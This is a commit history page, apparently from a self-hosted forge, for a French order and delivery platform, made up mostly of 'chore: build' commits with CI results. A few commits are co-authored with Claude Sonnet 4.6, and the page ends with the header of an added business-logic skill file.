264 Commits
Author SHA1 Message Date
Xor290 f84dc153ec chore: build
Backend - Build & Lint / build (push) Successful in 32m46s
Frontend Admin - EAS Build / build (push) Successful in 1h34m15s
2026-09-13 13:19:08 +02:00
Xor290 b6189ac787 chore: build
Backend - Build & Lint / build (push) Successful in 40m56s
Frontend Admin - EAS Build / build (push) Successful in 1h28m48s
Frontend Client - EAS Build / build (push) Successful in 1h23m23s
Frontend Web - Build & Lint / build (push) Successful in 15m50s
2026-09-12 17:08:19 +02:00
Xor290 9f5f709507 chore: build
Frontend Admin - EAS Build / build (push) Successful in 1h28m12s
Frontend Client - EAS Build / build (push) Successful in 1h24m10s
Frontend Web - Build & Lint / build (push) Failing after 6m2s
2026-09-12 13:54:25 +02:00
Xor290 4fbed720e8 chore: build
Backend - Build & Lint / build (push) Canceled after 30m0s
Frontend Admin - EAS Build / build (push) Successful in 1h30m40s
Frontend Client - EAS Build / build (push) Successful in 1h25m40s
Frontend Web - Build & Lint / build (push) Failing after 5m56s
2026-09-10 19:44:23 +02:00
Xor290 a7fe98830b fix(ci): adapte les pipelines Docker/OTA à la structure de la branche pre-prod
- backend-build.yml / frontend-web-build.yml: le chemin des Dockerfile était
  codé en dur sur docker-prod/..., inexistant sur pre-prod (seul
  docker-pre-prod/ existe sur cette branche) — rendu conditionnel selon la
  branche cible, comme le tag Docker l'est déjà.
- frontend-admin-build-local.yml: l'étape de publication OTA (Xavia) injectait
  une EXPO_PUBLIC_API_URL différente de celle utilisée pour builder l'APK
  (ota_api_url pointait vers https://5.181.0.112.nip.io au lieu de
  PREPROD_API_URL) — toute mise à jour OTA publiée sur le canal admin
  pre-prod embarquait donc une mauvaise URL d'API, provoquant un "Network
  Error" au login après réception de l'update, alors que l'APK fraîchement
  buildé fonctionnait. Alignée sur mobile qui n'avait pas ce bug.
2026-09-10 19:34:21 +02:00
Xor290 f904a37964 chore: build
Backend - Build & Lint / build (push) Canceled after 1m5s
Frontend Client - EAS Build / build (push) Canceled after 23s
Frontend Web - Build & Lint / build (push) Canceled after 0s
2026-09-10 19:26:05 +02:00
Xor290 c69dc70680 fix: corrige le domaine GATEWAY_URL (uber-demo.club) dans .env.lbtelegram 2026-09-10 19:26:00 +02:00
Xor290 f3dfb7b2ae chore: build
Frontend Admin - EAS Build / build (push) Canceled after 4m44s
Frontend Client - EAS Build / build (push) Canceled after 2s
2026-09-10 19:09:52 +02:00
Xor290 a7add1d2f7 chore: build
Backend - Build & Lint / build (push) Canceled after 23m40s
2026-09-10 19:00:07 +02:00
Xor290 88b5a48956 chore: readme 2026-09-09 21:33:28 +02:00
Xor290 4474b84e49 chore: build
Frontend Web - Build & Lint / build (push) Canceled after 0s
Backend - Build & Lint / build (push) Canceled after 21m50s
Frontend Admin - EAS Build / build (push) Successful in 1h50m27s
Frontend Client - EAS Build / build (push) Successful in 1h50m44s
2026-09-08 17:55:18 +02:00
Xor290 75b80b8f59 chore: build 2026-09-08 17:53:21 +02:00
Xor290 82f9a2fae9 chore: build
Backend - Build & Lint / build (push) Canceled after 11m16s
Frontend Admin - EAS Build / build (push) Canceled after 0s
Frontend Client - EAS Build / build (push) Canceled after 0s
Frontend Web - Build & Lint / build (push) Canceled after 0s
2026-09-08 17:44:28 +02:00
Xor290 06abfee274 chore: build
Backend - Build & Lint / build (push) Failing after 29m22s
2026-08-20 21:46:16 +02:00
Xor290 12cc14eb2b chore: build
Frontend Client - EAS Build / build (push) Failing after 1h41m31s
Frontend Web - Build & Lint / build (push) Successful in 15m1s
2026-08-20 19:36:22 +02:00
Xor290 5a6861ae04 chore: update ci 2026-08-20 16:29:59 +02:00
Xor290 4499d76b9a chore: reward fix
Backend - Build & Lint / build (push) Failing after 29m2s
2026-08-20 15:55:56 +02:00
Xor290 901d013830 chore: build
Backend - Build & Lint / build (push) Failing after 28m7s
Frontend Admin - EAS Build / build (push) Failing after 1h39m13s
Frontend Client - EAS Build / build (push) Failing after 1h38m12s
Frontend Web - Build & Lint / build (push) Failing after 10m56s
2026-08-19 17:49:04 +02:00
Xor290 1623a9eafd chore: fix bug
Backend - Build & Lint / build (push) Failing after 32m32s
2026-08-04 21:09:58 +02:00
Xor290 e5a17443cf chore: update 2026-08-04 18:45:02 +02:00
Xor290 39216fc137 fix: fixup adresse correction
Backend - Build & Lint / build (push) Failing after 33m6s
Frontend Client - EAS Build / build (push) Successful in 2h3m29s
Frontend Web - Build & Lint / build (push) Failing after 10m16s
2026-08-04 18:08:50 +02:00
Nuxgrid c35f99b410 chore: fix 2026-08-01 22:22:17 +02:00
Nuxgrid 020ba7c1e4 chore: build
Backend - Build & Lint / build (push) Failing after 30m33s
2026-08-01 21:51:32 +02:00
Nuxgrid 0d9b4adc3a chore: fix
Backend - Build & Lint / build (push) Failing after 41m24s
Frontend Admin - EAS Build / build (push) Successful in 2h16m49s
2026-07-30 15:30:39 +02:00
Nuxgrid 075dc45ca1 chore: add button in settings for restore color
Frontend Admin - EAS Build / build (push) Successful in 2h19m19s
2026-07-30 10:10:23 +02:00
Nuxgrid 45e8e75be9 chore: gitignore 2026-07-22 21:13:14 +02:00
Nuxgrid 9c6deb59e6 chore: build
Frontend Admin - EAS Build / build (push) Failing after 2h4m30s
2026-07-18 22:36:36 +02:00
Nuxgrid 48340317d8 chore: add history connection deliveryman
Frontend Admin - EAS Build / build (push) Failing after 2h5m32s
2026-07-18 18:02:04 +02:00
Nuxgrid dfa432862a chore: fix recompense categorie
Backend - Build & Lint / build (push) Has been cancelled
Frontend Client - EAS Build / build (push) Failing after 2h1m17s
Frontend Web - Build & Lint / build (push) Failing after 16m7s
2026-07-18 16:41:42 +02:00
Nuxgrid d6f5f2b1f2 chore: build 2026-07-15 20:58:47 +02:00
Nuxgrid 74bf9cf14c chore: build
Backend - Build & Lint / build (push) Failing after 16m27s
Frontend Admin - EAS Build / build (push) Failing after 2h15m57s
2026-07-15 20:55:46 +02:00
Nuxgrid e5333395b9 chore: build
Frontend Admin - EAS Build / build (push) Failing after 2h23m56s
Frontend Client - EAS Build / build (push) Failing after 2h13m7s
2026-07-15 14:20:08 +02:00
Nuxgrid 545e033a5f chore: update pipeline 2026-07-15 14:19:37 +02:00
Nuxgrid 05d0d879fe chore: build
Frontend Client - EAS Build / build (push) Has been cancelled
2026-07-15 14:18:24 +02:00
Nuxgrid 734493363f chore: build
Backend - Build & Lint / build (push) Failing after 29m5s
Frontend Client - EAS Build / build (push) Failing after 2h25m33s
2026-07-14 18:34:58 +02:00
Nuxgrid 8c3fa39d86 chore: build
Frontend Client - EAS Build / build (push) Has been cancelled
2026-07-13 20:29:33 +02:00
Nuxgrid b52977af03 chore: add new ignore file 2026-07-13 13:17:06 +02:00
Nuxgrid d8d34932e5 chore: fix
Backend - Build & Lint / build (push) Failing after 28m47s
2026-07-13 12:20:13 +02:00
Nuxgrid 4de42cff57 chore: build
Backend - Build & Lint / build (push) Failing after 28m23s
2026-07-12 15:20:53 +02:00
Nuxgrid 2919bca86d chore: build
Frontend Admin - EAS Build / build (push) Successful in 2h0m43s
2026-07-12 14:54:02 +02:00
Nuxgrid becadc0bb2 chore: build for maj
Frontend Client - EAS Build / build (push) Has been cancelled
2026-07-12 11:23:56 +02:00
Nuxgrid 4409ccf574 chore: update ci 2026-07-12 11:23:37 +02:00
Nuxgrid ae7c16c9ee chore: build
Frontend Web - Build & Lint / build (push) Failing after 16m42s
2026-07-11 16:17:21 +02:00
Nuxgrid 06e35964b1 chore: build
Backend - Build & Lint / build (push) Failing after 25m51s
2026-07-11 14:56:56 +02:00
Nuxgrid f3141f8f71 chore: build
Backend - Build & Lint / build (push) Failing after 24m43s
2026-07-11 11:55:09 +02:00
Nuxgrid 54fb87a464 chore: fix go cache 2026-07-11 11:54:25 +02:00
Nuxgrid f674b6ef80 chore: fix bug
Backend - Build & Lint / build (push) Has been cancelled
2026-07-11 11:45:13 +02:00
Nuxgrid f531ddcda8 chore: build
Frontend Client - EAS Build / build (push) Failing after 2h9m57s
Frontend Admin - EAS Build / build (push) Failing after 2h24m0s
2026-07-08 22:24:39 +02:00
Nuxgrid 12a7facc45 chore: build
Backend - Build & Lint / build (push) Failing after 16m17s
2026-07-08 21:54:00 +02:00
Xor290 5cd8ada828 chore: build
Backend - Build & Lint / build (push) Failing after 31m35s
2026-07-06 21:22:30 +02:00
Xor290 75a241dadb chore: build
Backend - Build & Lint / build (push) Failing after 41m47s
2026-07-06 19:57:18 +02:00
Xor290 fcf1e737d6 fix basket
Backend - Build & Lint / build (push) Has been cancelled
2026-07-01 22:16:02 +02:00
Xor290 cc3a283fba chore: build
Backend - Build & Lint / build (push) Failing after 20m59s
2026-07-01 21:53:04 +02:00
Xor290 c8d1c75ee9 chore: build
Backend - Build & Lint / build (push) Failing after 17m31s
2026-07-01 21:11:36 +02:00
Xor290 cfb5b79025 chore: build
Backend - Build & Lint / build (push) Has been cancelled
2026-07-01 20:56:41 +02:00
Xor290 9e6473ed3f fix: sql and redis request
Backend - Build & Lint / build (push) Failing after 19m3s
2026-07-01 20:10:00 +02:00
Xor290 2311631825 fix: approved by client
Backend - Build & Lint / build (push) Has been cancelled
2026-07-01 19:57:12 +02:00
Xor290 211df2e8d6 fix
Backend - Build & Lint / build (push) Has been cancelled
2026-07-01 19:39:33 +02:00
Xor290 a95ee51f6c chore: build
Backend - Build & Lint / build (push) Failing after 17m9s
2026-06-30 22:06:55 +02:00
Xor290andClaude Sonnet 4.6 07936f0bf6 fix: handle NULL parrain column in GetClientParrain
Backend - Build & Lint / build (push) Failing after 24m40s
sql.NullString permet de scanner une valeur NULL depuis la colonne
parrain sans erreur de conversion.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-30 21:39:25 +02:00
Xor290 2b1e8ec2fc chore: build
Backend - Build & Lint / build (push) Has been cancelled
2026-06-30 21:28:57 +02:00
Xor290 6cd3fc674c chore: build
Backend - Build & Lint / build (push) Has been cancelled
2026-06-30 20:02:27 +02:00
Xor290 8d131a1ade chore: build
Backend - Build & Lint / build (push) Has been cancelled
Frontend Client - EAS Build / build (push) Has been cancelled
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-30 19:24:36 +02:00
Xor290 781212f706 chore: fix latest build
Backend - Build & Lint / build (push) Has been cancelled
2026-06-29 18:56:00 +02:00
Xor290 9fcc77307f chore: add new file 2026-06-28 16:01:48 +02:00
Xor290 1721f55060 chore: build
Backend - Build & Lint / build (push) Failing after 17m35s
2026-06-28 16:01:23 +02:00
Xor290 b8aab5643f chore: build
Backend - Build & Lint / build (push) Failing after 16m14s
2026-06-28 13:52:47 +02:00
Xor290 3be323fcfe chore: build
Frontend Admin - EAS Build / build (push) Failing after 59m42s
2026-06-28 12:44:17 +02:00
Xor290 75161a1ae0 chore: build
Frontend Admin - EAS Build / build (push) Has been cancelled
2026-06-28 12:28:46 +02:00
Xor290 1d7dbe1eaa chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-28 12:24:32 +02:00
Xor290 d9ad4cb2cf chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-27 23:54:42 +02:00
Xor290 69711796a3 chore: build
Frontend Web - Build & Lint / build (push) Failing after 12m18s
2026-06-27 19:56:45 +02:00
Xor290 7e6629167f chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-27 19:50:49 +02:00
Xor290 a8a3cdeed9 chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-27 19:44:51 +02:00
Xor290 784642ffa6 chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-27 19:40:01 +02:00
Xor290 79a51a03aa chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-27 19:35:54 +02:00
Xor290 83329cef41 chore: build
Frontend Web - Build & Lint / build (push) Failing after 2m0s
2026-06-27 19:32:28 +02:00
Xor290 5f734d38e4 chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-27 19:23:31 +02:00
Xor290 9641d7cc45 chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-27 19:15:00 +02:00
Xor290 2fc6711eaa chore: build
Frontend Admin - EAS Build / build (push) Failing after 58m37s
2026-06-27 14:50:26 +02:00
Xor290 304263a95e chore: build
Frontend Admin - EAS Build / build (push) Failing after 13m6s
2026-06-27 14:30:58 +02:00
Xor290 c3e61f12fa chore: build
Backend - Build & Lint / build (push) Has been cancelled
2026-06-27 14:23:26 +02:00
Xor290 066443e228 chore: build
Frontend Client - EAS Build / build (push) Failing after 57m7s
Frontend Web - Build & Lint / build (push) Failing after 15m48s
2026-06-26 19:36:56 +02:00
Xor290 dae547cfa9 fix
Backend - Build & Lint / build (push) Failing after 16m48s
2026-06-25 19:46:46 +02:00
Xor290 b670bc3108 chore: build
Backend - Build & Lint / build (push) Has been cancelled
Frontend Client - EAS Build / build (push) Failing after 56m32s
Frontend Web - Build & Lint / build (push) Failing after 14m33s
2026-06-23 22:02:04 +02:00
Xor290 bafed46be6 chore: build
Frontend Admin - EAS Build / build (push) Failing after 58m6s
2026-06-23 20:45:58 +02:00
Xor290andClaude Sonnet 4.6 a9c53c3b62 feat: redesign sidebar with iOS frosted glass style
Frontend Web - Build & Lint / build (push) Has been cancelled
- Background: primary color + dark/light bg mixed with blur(50px) saturate(180%)
- Menu items split in two groups (nav / account) as iOS-style cards
- Inset separators, chevrons on each item, no border/outline on buttons
- Active item: primary color icon background with glow
- Telegram/Logout unified as menu-group in footer
- Light mode: white frosted background with dark text

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-22 22:07:23 +02:00
Xor290andClaude Sonnet 4.6 ff967f0b7b fix: rename coming-soon classes to avoid CSS conflict with ProductCard
Frontend Web - Build & Lint / build (push) Has been cancelled
ProductCard.css also defines .coming-soon-overlay with rotate(-15deg)
causing the diagonal display. Renamed category-level classes to
category-cs-overlay/text/desc to isolate them from product card styles.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-22 22:00:15 +02:00
Xor290andClaude Sonnet 4.6 70988be353 feat: add reset buttons for heures/jours/doses stats, fix home button color
Frontend Admin - EAS Build / build (push) Failing after 59m23s
Frontend Client - EAS Build / build (push) Failing after 57m18s
- StatsScreen: SectionResetBtn for heures d'affluence, jours d'affluence, doses populaires
- api_admin.ts: extend StatSection and AdminStats with heures/jours/doses fields
- HomeScreen (mobile client): use colors.accent for Se connecter button

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-22 21:54:41 +02:00
Xor290 68bd0d57d6 chore: build front web
Frontend Web - Build & Lint / build (push) Failing after 2m6s
2026-06-22 21:41:22 +02:00
Xor290 4c74de017f chore: build backend
Backend - Build & Lint / build (push) Has been cancelled
2026-06-22 21:28:22 +02:00
Xor290 6111f88dc0 chore: build frontweb
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-22 21:27:55 +02:00
Xor290 f5de187c82 chore: build
Frontend Admin - EAS Build / build (push) Failing after 1h1m17s
2026-06-21 19:37:44 +02:00
Xor290 b73d190574 chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-21 19:33:14 +02:00
Xor290 d28dbf9fb0 chore: build
Frontend Client - EAS Build / build (push) Has been cancelled
2026-06-21 18:48:30 +02:00
Xor290 1494f5e669 chore: build
Frontend Admin - EAS Build / build (push) Failing after 1h0m49s
2026-06-21 16:48:13 +02:00
Xor290 a1a8e6c3f3 chore: build
Frontend Admin - EAS Build / build (push) Failing after 56m59s
2026-06-21 15:07:04 +02:00
Xor290 531602512b chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-21 15:00:53 +02:00
Xor290 5568ebdf31 chore: build
Backend - Build & Lint / build (push) Has been cancelled
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-21 14:48:38 +02:00
Xor290 880d5ac234 chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-21 14:27:54 +02:00
Xor290 3c265fbecf chore: build
Frontend Web - Build & Lint / build (push) Failing after 16m8s
2026-06-21 13:52:53 +02:00
Xor290 a2a796ffd8 chore: build
Frontend Admin - EAS Build / build (push) Failing after 1h4m59s
2026-06-21 12:24:03 +02:00
Xor290 cee859539e chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-21 12:19:54 +02:00
Xor290 13d978c76e chore: build
Backend - Build & Lint / build (push) Has been cancelled
2026-06-21 12:13:28 +02:00
Xor290 403e765a51 chore: build
Frontend Admin - EAS Build / build (push) Has been cancelled
Frontend Client - EAS Build / build (push) Has been cancelled
2026-06-20 21:17:59 +02:00
Xor290 768de08f87 chore: build frontend
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-20 21:07:37 +02:00
Xor290 202bab0e03 chore: build frontend
Frontend Web - Build & Lint / build (push) Failing after 13m58s
2026-06-20 20:30:06 +02:00
Xor290 2c8979c34f chore: build frontend
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-20 20:27:57 +02:00
Xor290 4bec5dcd6d chore: build frontend
Frontend Web - Build & Lint / build (push) Has been cancelled
2026-06-20 20:26:24 +02:00
Xor290 74f3d4815e chore: build backend frontend web
Frontend Web - Build & Lint / build (push) Has been cancelled
Backend - Build & Lint / build (push) Has been cancelled
2026-06-20 20:14:18 +02:00
Xor290 26f4e75314 chore: build admin
Frontend Admin - EAS Build / build (push) Failing after 59m14s
2026-06-20 16:19:49 +02:00
Xor290 26c0c169a3 chore: build admin
Frontend Admin - EAS Build / build (push) Failing after 12m33s
2026-06-20 15:56:27 +02:00
Xor290 9ec83e3987 chore: build
Frontend Web - Build & Lint / build (push) Has been cancelled
Frontend Client - EAS Build / build (push) Has been cancelled
Frontend Admin - EAS Build / build (push) Has been cancelled
2026-06-20 15:45:11 +02:00
Xor290 1d0e396776 chore: build 2026-06-19 19:42:37 +02:00
Xor290 f576db7cdd chore: build
Frontend Web - Build & Lint / build (push) Failing after 14m59s
2026-06-18 22:45:05 +02:00
Xor290 450f930603 chore: build
Backend - Build & Lint / build (push) Failing after 4m1s
2026-06-18 22:44:12 +02:00
Xor290 5a77bacb04 chore: update ci 2026-06-18 22:43:42 +02:00
Xor290 af9092fa34 chore: build
Backend - Build & Lint / Build (push) Has been cancelled
Backend - Build & Lint / Docker Build & Push (push) Has been cancelled
Backend - Build & Lint / SSH Deploy (push) Has been cancelled
Backend - Build & Lint / Static Analysis (golangci-lint + gosec) (push) Has been cancelled
2026-06-18 22:32:57 +02:00
Xor290 9e0231a88e chore: build 2026-06-18 12:56:41 +02:00
Xor290 b12358ae02 chore: build 2026-06-17 18:09:33 +02:00
Xor290 88b6a03a9c chore: build 2026-06-17 09:47:52 +02:00
Xor290 98722b0579 chore: fix 2026-06-16 22:48:16 +02:00
Xor290 4f9e73a305 chore: fix 2026-06-16 21:24:37 +02:00
Xor290 ec7e59550b chore: build 2026-06-16 21:17:54 +02:00
Xor290 440792a066 chore: fix 2026-06-15 22:12:06 +02:00
Xor290 12ae7282a6 chore: build 2026-06-15 21:28:22 +02:00
Xor290 4ff4bef415 chore: build 2026-06-15 21:26:29 +02:00
Xor290 5e37f4263c chore: build 2026-06-15 21:16:37 +02:00
Xor290 9cf462abdd chore: build 2026-06-15 21:14:25 +02:00
Xor290 d4c06a6d3d chore: build 2026-06-15 21:03:12 +02:00
Xor290 c3c059eab6 chore: fix 2026-06-15 20:03:36 +02:00
Xor290 f72313299d chore: build 2026-06-15 19:24:33 +02:00
Xor290 1f33a89f80 chore: delete docker 2026-06-14 17:38:15 +02:00
Xor290 9404b1e77b chore: update 2026-06-14 17:36:41 +02:00
Xor290 1a1d62a1c1 chore:build 2026-06-14 16:34:34 +02:00
Xor290 b9a532abd5 chore: build 2026-06-14 15:46:24 +02:00
Xor290 2cd7f38908 chore: build 2026-06-14 15:17:44 +02:00
Xor290 8a503b544e chore: build 2026-06-14 15:17:15 +02:00
Xor290 be7e3b3bd8 chore: build 2026-06-14 00:20:56 +02:00
Xor290 83075e30d6 chore: build 2026-06-13 21:55:21 +02:00
Xor290 c0ff6dcd1d chore: build 2026-06-13 19:45:19 +02:00
Xor290 6f8de729ba chore: build 2026-06-13 19:23:24 +02:00
Xor290 093a7e0c42 chore: build 2026-06-13 19:18:12 +02:00
Xor290 59d4f89a14 chore: build 2026-06-13 15:22:51 +02:00
Xor290 dd861fd7be chore: build 2026-06-13 14:49:22 +02:00
Xor290 e30d394c0a chore: build 2026-06-13 14:35:54 +02:00
Xor290 263c21b3b4 chore: build 2026-06-13 14:27:42 +02:00
Xor290 446b15d29c chore: build 2026-06-13 14:23:23 +02:00
Xor290 6f699bea6a chore: build 2026-06-13 12:44:16 +02:00
Xor290 13c09c10c3 chore: build 2026-06-13 12:40:44 +02:00
Xor290 4a67b0cd82 chore: update 2026-06-12 18:14:31 +02:00
Xor290 ab6092ae82 chore: build 2026-06-12 18:02:24 +02:00
Xor290 ce45314c78 chore: update 2026-06-12 17:51:17 +02:00
Xor290 d18052e749 chore: update 2026-06-12 16:11:41 +02:00
Xor290 370b1a5742 chore: build 2026-06-12 15:44:36 +02:00
Xor290 0a8548033d chore: build 2026-06-12 15:33:52 +02:00
Xor290 4792536900 chore: build 2026-06-12 15:24:34 +02:00
Xor290 cc15901d93 chore: build 2026-06-12 15:18:33 +02:00
Xor290 2c3b5cd7d2 chore: build 2026-06-12 14:47:04 +02:00
Xor290 49d7c6506b chore: build 2026-06-12 14:40:50 +02:00
Xor290 48966dcb86 chore: build 2026-06-12 13:44:28 +02:00
Xor290 7f09400e79 chore: build 2026-06-12 13:33:07 +02:00
Xor290 20da2a560f chore: build 2026-06-12 11:13:47 +02:00
Xor290 cc278ecef5 chore: build 2026-06-12 10:47:30 +02:00
Xor290 1d96d558b9 chore: build 2026-06-12 10:06:18 +02:00
Xor290 63dabc3f8e chore: build 2026-06-12 10:02:37 +02:00
Xor290 888932454c chore: build 2026-06-12 09:52:12 +02:00
Xor290 2ca28e730b chore: build 2026-06-12 09:43:29 +02:00
Xor290 13df186854 chore: build 2026-06-12 09:31:15 +02:00
Xor290 a57be7d7fe chore: build 2026-06-12 09:17:27 +02:00
Xor290 bdb76b4d3f chore: update 2026-06-12 09:16:45 +02:00
Xor290 06ab24c69b chore: build 2026-06-12 09:15:20 +02:00
Xor290 88030da8be chore: build 2026-06-11 23:23:29 +02:00
Xor290 92e1e50a5d chore: update ci 2026-06-11 22:05:55 +02:00
Xor290 41c1d4c24a chore: build 2026-06-11 21:51:40 +02:00
Xor290 061fb152cb chore: build 2026-06-11 20:27:03 +02:00
Xor290 7f0b3ff29b chore: build 2026-06-11 20:22:52 +02:00
Xor290 b810248d74 chore: build 2026-06-11 20:13:43 +02:00
Xor290 aada31a7da chore: build 2026-06-11 19:50:39 +02:00
Xor290 58cbc569c4 chore: fix 2026-06-11 19:38:32 +02:00
Xor290 b5196c5f22 chore: build 2026-06-11 19:04:04 +02:00
Xor290 a1d5664d6b chore: build 2026-06-11 18:41:03 +02:00
Xor290 39dfbb940c chore: build 2026-06-11 14:59:05 +02:00
Xor290 3e02aaa9b2 chore: build 2026-06-11 14:50:59 +02:00
Xor290 9b50dca96c chore: build 2026-06-11 12:16:02 +02:00
Xor290 624f8a0e72 chore: build 2026-06-11 11:16:03 +02:00
Xor290 fbb680ccb2 chore: build 2026-06-11 11:10:51 +02:00
Xor290 38e9bff7ee chore: update docker 2026-06-10 13:56:07 +02:00
Xor290 0317fb45df chore: build mobile 2026-06-09 21:01:10 +02:00
Xor290 8a853074b7 chore: update 2026-06-09 20:59:14 +02:00
Xor290 e7b83f406b chore: build 2026-06-09 20:10:24 +02:00
Xor290 b379508831 chore: build 2026-06-09 20:04:39 +02:00
Xor290 15a454768d chore: update 2026-06-09 20:04:01 +02:00
Xor290 7262d44f5a chore: build 2026-06-09 19:57:56 +02:00
Xor290 72c8003acf chore: build 2026-06-09 19:57:19 +02:00
Xor290 1bee48d81a chore: update pipeline 2026-06-09 19:56:44 +02:00
Xor290 56a94c8439 chore: build 2026-05-23 16:45:02 +02:00
Xor290 8df5bd66d3 chore: finish features comming soon 2026-05-19 20:11:54 +02:00
Xor290 929dea7249 chore: update 2026-05-19 18:54:36 +02:00
Xor290 c71b596400 chore: update 2026-05-19 18:42:51 +02:00
Xor290 d773a9c49f fix: ts 2026-05-19 17:43:30 +02:00
Xor290 93120f6bfe feat: update multiple tomtom keys and switch tomtom key and add comming soon button 2026-05-19 17:35:39 +02:00
Xor290 48bdba750e chore: update README 2026-05-18 21:41:12 +02:00
Xor290 f9b55d4ae4 chore: update README 2026-05-18 21:21:52 +02:00
Xor290 f87a9e1b97 chore: update route 2026-05-18 17:54:20 +02:00
Xor290 3dfc15cec1 fix(security): create just cabine and livreur with api but create admin is just in bdd 2026-05-18 17:35:35 +02:00
Xor290 a8e22e63bc fix(security): modify law for create users and clients 2026-05-18 12:30:36 +02:00
Xor290 e69403043d chore: add volume for logs modsec 2026-05-18 10:04:36 +02:00
Xor290 cf686ffa51 chore: add button for deliverymen 2026-05-17 16:09:15 +02:00
Xor290 a8696b12fa chore: add quantity stat 2026-05-17 14:54:59 +02:00
Xor290 94fa9de6a7 fix(security): SSRF log injection and folder permissions 2026-05-17 14:13:38 +02:00
Xor290 72a813cfc1 chore: build 2026-05-17 14:01:40 +02:00
Xor290 86c01789b4 chore: add gosec in CI 2026-05-17 14:00:38 +02:00
Xor290 ac1d3d8d9f fix: stock manage 2026-05-17 13:55:56 +02:00
Xor290 16792094e3 chore: build 2026-05-16 12:16:29 +02:00
Xor290 f00b3a981d update 2026-05-15 22:56:48 +02:00
Xor290 0350074242 update README 2026-05-15 22:28:21 +02:00
Xor290 afbe310dd7 update 2026-05-15 21:44:46 +02:00
Xor290 cefc7e9f32 chore: update message 2026-05-15 20:11:13 +02:00
Xor290 e09bbb05b9 feat: chrono and add penality 2026-05-15 19:13:13 +02:00
Xor290 7443d06029 chore: fix 2026-05-15 18:10:23 +02:00
Xor290 f951ed9187 chore: fix 2026-05-15 17:09:15 +02:00
Xor290 58b9a0827f fix 2026-05-15 16:54:09 +02:00
Xor290 04671637d2 update 2026-05-15 16:45:56 +02:00
Xor290 921c861311 chore: fix ci 2026-05-15 16:44:59 +02:00
Xor290 1342e71a3f chore: fix 2026-05-15 13:48:19 +02:00
Xor290 32f46fcfd4 chore: add new button 2026-05-15 13:28:30 +02:00
Xor290 928a5f5f57 chore: ota 2026-05-15 12:15:42 +02:00
Xor290 3eba3e3a15 fix 2026-05-15 11:15:30 +02:00
Xor290 775b9200f5 feat: group order items by product with category totals 2026-05-14 21:10:54 +02:00
Xor290 4ad80fa57d chore: fix error in suivilivraison.tsx 2026-05-14 20:52:42 +02:00
Xor290 dce417c209 chore: refacto 2026-05-14 19:33:39 +02:00
Xor290 e0c354d76c feat: active & deactivate the price for product 2026-05-14 16:20:59 +02:00
Xor290 0fe8a06bfa fix: manage stock 2026-05-14 15:31:38 +02:00
Xor290 426f4b42ee chore: refacto db 2026-05-13 19:03:33 +02:00
Xor290 0039dda8a0 refacto 2026-05-13 16:43:20 +02:00
Xor290 65d1367f42 fix: manage stock 2026-05-13 11:30:22 +02:00
Xor290 fb63855d9b feat: desactive and active price for product 2026-05-13 10:31:52 +02:00
Xor290 9a2f0d91ad fix: manage quantity && update geoloca 2026-05-12 19:35:02 +02:00
Xor290 1319a4219a fix: CI 2026-05-10 21:10:47 +02:00
Xor290 f41938e563 chore: build 2026-05-10 19:48:02 +02:00
Xor290 6f52f984e8 fix: CI 2026-05-10 19:47:10 +02:00
Xor290 7251280598 chore: build 2026-05-10 18:20:23 +02:00
Xor290 1b32355117 fix: CI 2026-05-10 18:13:37 +02:00
Xor290 73c5965a31 chore: build 2026-05-10 16:58:33 +02:00
Xor290 2be5b6e2bf chore: build 2026-05-10 16:37:59 +02:00
Xor290 71ccbd553e fix: CI ota job 2026-05-10 16:37:13 +02:00
Xor290 2bec488fd9 fix: CI ota job 2026-05-10 16:33:53 +02:00
Xor290 8792b1691e chore: script cache update CI client 2026-05-10 15:54:33 +02:00
Xor290 3c16ca015d feat: add stats page for admin 2026-05-10 15:39:26 +02:00
Xor290 a081fd3b4d chore: add toggle 2FA validation by clients 2026-05-10 15:24:04 +02:00
Xor290 1c04ce3095 chore: build 2026-05-10 14:26:04 +02:00
Xor290 f678c948dd chore: fix project id expo 2026-05-09 23:40:09 +02:00
Xor290 57fb1b1ecd chore: build app in local 2026-05-09 22:55:22 +02:00
Xor290 7af2103164 chore: build 2026-05-09 16:50:23 +02:00
Xor290 78c498159d chore: build 2026-05-09 15:47:27 +02:00
Xor290 0a4953334a chore: ci 2026-05-09 15:44:09 +02:00
Xor290 80115c057b chore: build 2026-05-09 15:35:53 +02:00
Xor290 6958b30fa0 chore: add branch pre-prod in ci backend 2026-05-09 15:35:05 +02:00
Xor290 63c6086625 chore: build 2026-05-09 15:34:15 +02:00
Xor290 97712f240e fix: ts 2026-05-09 15:30:48 +02:00
Xor290 810d7bcabd fix: ts 2026-05-09 15:28:54 +02:00
Xor290 e47cc2bf57 Merge pull request #2 from UBARSTUPAR/feat/V3-uber
Feat/v3 uber
2026-05-09 15:18:32 +02:00
Xor290 1672dc1e20 feat: add 2FA and change title 2026-05-09 15:17:19 +02:00
78 changed files with 5195 additions and 732 deletions
@@ -0,0 +1,158 @@
---
name: comprehension-metier
description: Charge le modèle métier complet de la plateforme de gestion de commandes/livraison (rôles, cycle de vie des commandes, stock, catalogue, points/récompenses, parrainage, pénalités, paiements, GPS/assignation, alertes, paramètres configurables). À invoquer avant toute analyse, debug ou modification qui touche à la logique métier — pas seulement au code — pour raisonner avec les vraies règles du business plutôt qu'avec des hypothèses.
---
